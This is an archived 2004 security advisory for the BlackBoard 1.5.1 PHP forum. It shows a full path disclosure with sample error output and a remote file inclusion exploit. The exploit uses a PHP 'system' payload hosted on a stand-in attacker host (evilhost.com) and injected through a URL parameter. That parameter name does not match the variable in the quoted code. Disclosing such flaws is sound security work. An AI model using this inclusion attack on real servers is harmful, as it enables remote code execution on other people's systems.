what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

blackboard.txt

blackboard.txt
Posted Oct 13, 2004
Authored by Cracklove | Site ProxySky.com

BlackBoard version 1.5.1 is susceptible to full path disclosure and remote executable code inclusion.

tags | exploit, remote
SHA-256 | c72ea7662d46ad0335a5869c71c8b2882af16a0a76cb83d531d4f60b91ab113d

blackboard.txt

Change Mirror Download


Multiple vulnerabilities in BlackBoard

**********************************
*AuThor:Cracklove *
*emA!l:Cracklove[at]Gmail[dot]Com*
*HoMePaGe:http://ProxySky.com *
**********************************

[Info]

Website: http://blackboard.unclassified.de
Version: 1.5.1,Maybe prior
Problem: Full path disclosure,Include file

[Vuls]

1.Full path disclosure:

Let's try to request like this:

http://target/bb_lib/checkdb.inc.php

and we get standard error messages like that:

Warning: main(lang/_more.php): failed to open stream: No such file or directory in /www/web002/_blackboard/bb_lib/checkdb.inc.php on line 15

Fatal error: main(): Failed opening required 'lang/_more.php' (include_path='.:/usr/local/lib/php') in /www/web002/_blackboard/bb_lib/checkdb.inc.php on line 15

The Problem also in admin.inc.php,cp.inc.php etc.


2.Include file

Ok let's open ./bb_lib/admin.inc.php,We see

require($libpath . 'lang/' . $LANG . '_more.php');

Bingo!It is include vul!

[Exploit]

For example, if I had access to place files in a webspace http://evilhost.com/,I would create a directory "lang" and place
inside it a script called _more.php with content like the following:

<?
system("uname -a;id;ls -al");
?>

If we then make a request to the target machine like the following:

http://target/bb_lib/checkdb.inc.php?libpach=http://evilhost.com/

The code should be retrieved and executed.

[Fix]

Maybe a patch will release later.

[Greetings]

Greets To Xon,fatb,Envymask,h886,ToToDoDo And to all people in China.
Login or Register to add favorites

File Archive:

July 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    52 Files
  • 2
    Jul 2nd
    0 Files
  • 3
    Jul 3rd
    0 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    8 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close